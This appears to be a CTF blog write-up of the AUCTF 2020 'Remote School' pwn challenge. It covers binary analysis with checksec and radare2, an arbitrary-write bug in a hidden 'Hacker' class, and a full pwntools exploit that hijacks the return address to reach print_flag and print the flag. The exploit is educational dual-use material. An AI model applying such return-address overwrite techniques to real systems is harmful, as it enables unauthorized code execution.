AUCTF 2020 Writeup - Remote School

April 20, 2020
ctf writeup pwn x86 auctf2020

Intro

This is the fourth and last pwn challenge. It was solved 63 times and it was worth 960 points.

Description:

Dear Student,

Due to COVID-19 concerns our curriculum will be moving completely to online courses… I know we haven’t even started our school year yet so this may come as a shock. But I promise it won’t be too bad! You can login at challenges.auctf.com 30013.

Best, Dean of Eon Pillars

You could download the binary here.

$ sha256sum remote_school
d0639347713b54603db5f8015fc1015ca911fb10ad9d271c31e9630093054664  remote_school

Exploitation

At the startup the program prints a banner and it asks a name. As usual I tried to find a buffer overflow or a format string vulnerability, without success.

Then it prints a prompt. I also played a bit here, without success.

However the program supports a lot of command:

$ ./remote_school
Welcome to your new online class!
We here, at Eon Pillars, we think Zoom is trash and prefer to have our lessions via command line!
May I get your name?
	Name: name
Thanks! It is nice to meet you name!

Well enough of that let's start class ... What should we do?
> [? for menu]: ?

~~Eon Pillars help menu~~

help: Print help menu
attend <class>: go to class
study <class>: study for class
list: list classes
stats: check stats
grades: check grades
quit: Exit Terminal

What should we do?
> [? for menu]: 

So I analyzed the binary with checksec. It has RWX segment and NX disabled. Weird.

$ checksec remote_school
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

Then I opened with radare2 and I found two promising functions:

$ r2 -Ad ./remote_school
[r2]> afl
.....
0x5655699f    1 120          sym.class_hacker
0x56556299    3 144          sym.print_flag
.....

But there isn’t any xref to both functions.

However, after some digging, I found an interesting object:

[r2]> is
.....
40   0x00002ec0 0x56558ec0 LOCAL  OBJ    32        classtable
.....
[r2]> pxr 32 @obj.classtable 
0x56558ec0 0x565570e0  .pUV (.rodata) (Algebra)
0x56558ec4 0x5655692f  /iUV (.text) sym.class_algebra
0x56558ec8 0x565570e8  .pUV (.rodata) (CompSci)
0x56558ecc 0x56556967  giUV (.text) sym.class_compsci
0x56558ed0 0x565570f0  .pUV (.rodata) (Hacker)
0x56558ed4 0x5655699f  .iUV (.text) sym.class_hacker
0x56558ed8 ..[ null bytes ]..   00000000 

It seems like an associative array. So I tried to attend the “Hacker” class, with success.

This class prints a hexadecimal value (maybe an address) and we got a segfault:

> [? for menu]: attend Hacker

Welcome!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Got AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

0xffff8608
Segmentation fault (core dumped)

Let’s disassemble class_hacker.

It’s a really simple function. It gets the input and then passes it to another function called test:

[r2]> pdf @sym.class_hacler
.....
│           0x565569d2      6800200000     push 0x2000
│           0x565569d7      8d85f8dfffff   lea eax, [var_2008h]
│           0x565569dd      50             push eax
│           0x565569de      e87df6ffff     call sym.imp.fgets 
.....
│           0x56556a02      8d85f8dfffff   lea eax, [var_2008h]
│           0x56556a08      50             push eax
│           0x56556a09      e841fbffff     call sym.test

The test function is really interesting and it’s the target of the exploitation:

[r2]> pdf @sym.test
.....
|           0x56556559      e842fcffff     call sym.__x86.get_pc_thunk.bx
│           0x5655655e      81c3a22a0000   add ebx, 0x2aa2
│           0x56556564      55             push ebp
│           0x56556565      8d83d5e1ffff   lea eax, [ebx - 0x1e2b]
│           0x5655656b      50             push eax
│           0x5655656c      e82f0e90a1     call 0xf7e573a0             ; THIS
│           0x56556571      83ec04         sub esp, 4
│           0x56556574      6808080000     push 0x808                  ; 2056
│           0x56556579      ff7508         push dword [arg_8h]
│           0x5655657c      8d85f0f7ffff   lea eax, [var_810h]
│           0x56556582      50             push eax
│           0x56556583      e888fbffff     call sym.imp.strncpy
│           0x56556588      83c410         add esp, 0x10
│           0x5655658b      8b45f4         mov eax, dword [var_ch]
│           0x5655658e      8b55f0         mov edx, dword [var_10h]
│           0x56556591      8910           mov dword [eax], edx        ; ARBITRARY WRITE
.....

So, with a two step attack, we can overwrite the saved return address (at ebp + 0x4) with the address of print_flag.

This is the exploit:

#!/usr/bin/python2

from pwn import *

prog = context.binary = ELF(os.getcwd() + "/online", checksec=False)

if len(sys.argv) > 1:
	host = "challenges.auctf.com"
	port = 30013
	t = remote(host, port)
else:
	t = prog.process()

offset = 2048
base = 0x56555000

def init():
	t.recvuntil("Name: ")
	t.sendline("a_name")
	t.recvuntil("> [? for menu]: ")
	t.sendline("attend Hacker")
	t.recvuntil("Welcome!")
	payload = "A"*offset
	payload += "J"*4
	payload += pack(prog.get_section_by_name(".data").header.sh_addr + 0x56556000) # no segfault in this way
	t.sendline(payload)
	t.recvuntil("0x")
	leaked = int("0x" + t.recvuntil("\n"), 16)
	return leaked

def print_flag(ebp):
	t.recvuntil("> [? for menu]: ")
	t.sendline("attend Hacker")
	t.recvuntil("Welcome!")
	payload = "A"*offset
	payload += pack(prog.symbols["print_flag"] + base)
	payload += pack(ebp + 4)
	t.sendline(payload)

ebp = init()
log.info("ebp @ {:#x}".format(ebp))
print_flag(ebp)

t.interactive()
t.close()

And this is the flag:

$ ./exploit.py
.....
auctf{1_hope_you_l1ked_my_g@m3_2321}
.....

remote school solved banner

AUCTF 2020 Writeup - Pick Up That CAN

May 1, 2020
ctf writeup car-hacking can-bus auctf2020

AUCTF 2020 Writeup - Password Cracking Challenges

April 20, 2020
ctf writeup password cracking hashcat auctf2020

AUCTF 2020 Writeup - Thanksgiving Dinner

April 19, 2020
ctf writeup pwn x86 auctf2020